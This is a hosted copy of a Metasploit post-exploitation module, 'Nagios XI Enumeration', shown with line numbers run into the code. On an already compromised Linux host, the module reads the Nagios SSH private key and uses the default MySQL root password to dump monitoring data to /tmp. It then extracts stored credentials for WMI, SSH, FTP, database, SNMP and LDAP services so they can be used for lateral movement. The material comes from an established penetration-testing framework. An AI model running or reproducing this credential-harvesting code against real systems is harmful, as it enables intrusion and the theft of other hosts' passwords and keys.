Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/enum_nagios_xi.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Linux::System7include Msf::Exploit::FileDropper89def initialize(info = {})10super(11update_info(12info,13{14'Name' => 'Nagios XI Enumeration',15'Description' => %q{16NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,17creating opportunities for lateral movement.18},19'License' => MSF_LICENSE,20'Author' => [21'Cale Smith', # @0xC41322],23'DisclosureDate' => '2018-04-17',24'Platform' => 'linux',25'SessionTypes' => ['shell', 'meterpreter']26}27)28)29register_options([30OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])31])32end3334# save found creds in the MSF DB for easy use35# , login)36def report_obj(cred, login)37return if cred.nil? || login.nil?3839credential_data = {40origin_type: :session,41post_reference_name: fullname,42session_id: session_db_id,43workspace_id: myworkspace_id44}.merge(cred)45credential_core = create_credential(credential_data)4647login_data = {48core: credential_core,49workspace_id: myworkspace_id50}.merge(login)5152create_credential_login(login_data)53end5455# parse out domain realm for windows services56def parse_realm(username)57userealm = username.split('/')5859if userealm.count > 160realm = userealm[0]61username = userealm[1]6263credential_data = {64realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,65realm_value: realm,66username: username67}68else69credential_data = {70username: username71}7273end7475return credential_data76end7778def run79@peer = "#{session.session_host}:#{session.session_port}"8081@creds = []82@ssh_keys = []8384# get nagios SSH private key85id_rsa_path = '/home/nagios/.ssh/id_rsa'86if file?(id_rsa_path)87print_good('Attempting to grab Nagios SSH key')88ssh_key = read_file(id_rsa_path)89ssh_key_loot = store_loot(90'nagios_ssh_priv_key',91'text/plain',92session,93ssh_key,94nil95)96print_status("Nagios SSH key stored in #{ssh_key_loot}")97else98print_status('No SSH key found')99end100101print_status('Attempting to dump Nagios DB')102db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}"103104sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ")105sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts |106sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id )107sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id )108sql_query << %(WHERE nagios_services.check_command_object_id!=89 )109sql_query << %(ORDER BY nagios_services.check_command_object_id )110sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;")111112out = cmd_exec(sql_query)113if out.match(/error/i)114print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}")115return116else117db_dump = read_file(db_dump_file)118print_good('Nagios DB dump successful')119# store raw db results, there is likely good stuff in here that we don't parse out120db_loot = store_loot(121'nagiosxi_raw_db_dump',122'text/plain',123session,124db_dump,125nil126)127print_status("Raw Nagios DB dump #{db_loot}")128print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.")129end130131CSV.parse(db_dump) do |row|132case row[0]133when '110' # WMI134host = row[1]135creds = row[2].split('!')136username = creds[0].match(/'(.*?)'/)[1]137password = creds[1].match(/'(.*?)'/)[1]138139user_credential_data = parse_realm(username)140141credential_data = {142private_data: password,143private_type: :password144}.merge(user_credential_data)145146login_data = {147address: host,148port: 135,149service_name: 'WMI',150protocol: 'tcp'151}152153when '59' # SSH154host = row[1]155156credential_data = {157username: 'nagios',158private_data: ssh_key,159private_type: :ssh_key160}161162login_data = {163address: host,164port: 22,165service_name: 'SSH',166protocol: 'tcp'167}168169when '25' # FTP170host = row[1]171creds = row[2].split('!')172username = creds[0]173password = creds[1]174175credential_data = {176username: username,177private_data: password,178private_type: :password179}180181login_data = {182address: host,183port: 21,184service_name: 'FTP',185protocol: 'tcp'186}187188when '67' # MYSQL189host = row[1]190username = row[2].match(/--username=(.*?)\s/)[1]191password = row[2].match(/--password=%22(.*?)%22/)[1]192193credential_data = {194username: username,195private_data: password,196private_type: :password197}198199login_data = {200address: host,201port: 3306,202service_name: 'MySQL',203protocol: 'tcp'204}205206when '66' # MSSQL207host = row[1]208username = row[2].match(/-U '(.*?)'/)[1]209password = row[2].match(/-P '(.*?)'/)[1]210211user_credential_data = parse_realm(username)212credential_data = {213private_data: password,214private_type: :password215}.merge(user_credential_data)216217login_data = {218address: host,219port: 1433,220service_name: 'MSSQL',221protocol: 'tcp'222}223224when '76' # POSTGRES225host = row[1]226username = row[2].match(/--dbuser=(.*?)\s/)[1]227password = row[2].match(/--dbpass=%22(.*?)%22/)[1]228229credential_data = {230username: username,231private_data: password,232private_type: :password233}234235login_data = {236address: host,237port: 5432,238service_name: 'PostgreSQL',239protocol: 'tcp'240}241242when '85' # SNMP243host = row[1]244creds = row[2].split('!')245password = ' '246username = creds[0]247port = 161248249credential_data = {250username: username,251private_data: password,252private_type: :password253}254255login_data = {256address: host,257port: 161,258service_name: 'SNMP',259protocol: 'udp'260}261262when '88' # LDAP263host = row[1]264username = row[2].match(/-D %22(.*?)%22/)[1]265password = row[2].match(/-P %22(.*?)%22/)[1]266267credential_data = {268username: username,269private_data: password,270private_type: :password271}272273login_data = {274address: host,275port: 389,276service_name: 'LDAP',277protocol: 'tcp'278}279else280# base case281end282unless credential_data.nil? || login_data.nil?283report_obj(credential_data, login_data)284end285end286287print_status("Run 'creds' to see credentials loaded into the MSF DB")288289# cleanup db dump290register_file_for_cleanup(db_dump_file)291end292end293294295